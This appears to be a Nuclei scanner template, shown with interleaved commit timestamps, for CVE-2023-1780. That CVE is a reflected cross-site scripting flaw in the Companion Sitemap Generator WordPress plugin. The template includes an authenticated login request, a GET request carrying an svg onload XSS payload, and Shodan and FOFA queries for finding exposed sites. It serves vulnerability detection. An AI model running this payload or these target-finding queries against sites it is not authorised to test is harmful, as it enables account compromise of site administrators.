2023-10-17 07:20:28 +00:00
id : CVE-2023-1780
info :
name : Companion Sitemap Generator < 4.5.3 - Cross-Site Scripting
author : r3Y3r53
severity : medium
description : |
The plugin does not sanitise and escape some parameters before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
remediation : Fixed in version 4.5.3
reference :
- https://wpscan.com/vulnerability/8176308f-f210-4109-9c88-9372415dbed3
- https://nvd.nist.gov/vuln/detail/CVE-2023-1780
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2023-10-17 17:52:26 +00:00
cve-id : CVE-2023-1780
2023-10-17 07:20:28 +00:00
cwe-id : CWE-79
2023-10-18 16:26:30 +00:00
epss-score : 0.00071
2024-05-31 19:23:20 +00:00
epss-percentile : 0.30482
2023-10-17 17:52:26 +00:00
cpe : cpe:2.3:a:codeermeneer:companion_sitemap_generator:*:*:*:*:*:wordpress:*:*
2023-10-17 07:20:28 +00:00
metadata :
verified : true
2023-10-17 17:52:26 +00:00
max-request : 2
vendor : codeermeneer
product : companion_sitemap_generator
framework : wordpress
2024-05-31 19:23:20 +00:00
shodan-query : http.html:/wp-content/plugins/companion-sitemap-generator/
fofa-query : body=/wp-content/plugins/companion-sitemap-generator/
2023-10-17 17:21:59 +00:00
publicwww-query : "/wp-content/plugins/companion-sitemap-generator/"
2023-12-05 09:50:33 +00:00
tags : cve,cve2023,wpscan,wp,wordpress,wp-scan,xss,authenticated,codeermeneer
2023-10-17 07:20:28 +00:00
http :
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/tools.php?page=csg-sitemap&tabbed=%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
Host : {{Hostname}}
matchers :
- type : dsl
dsl :
- 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_2, "re not allowed to view")'
- 'contains(body_2, "<svg/onload=alert(document.domain)>")'
condition : and
2024-03-25 11:57:16 +00:00
# digest: 4a0a00473045022037fd184a30baa4bf9c5bead97935ec384efbce6d629f36e79fdc4a6f96c2a5d0022100fdeb0ca8f655e4f1856990096615ff0c35961dd2dea9984283364c1c0c9cc6ab:922c64590222798bb761d5b6d8e72950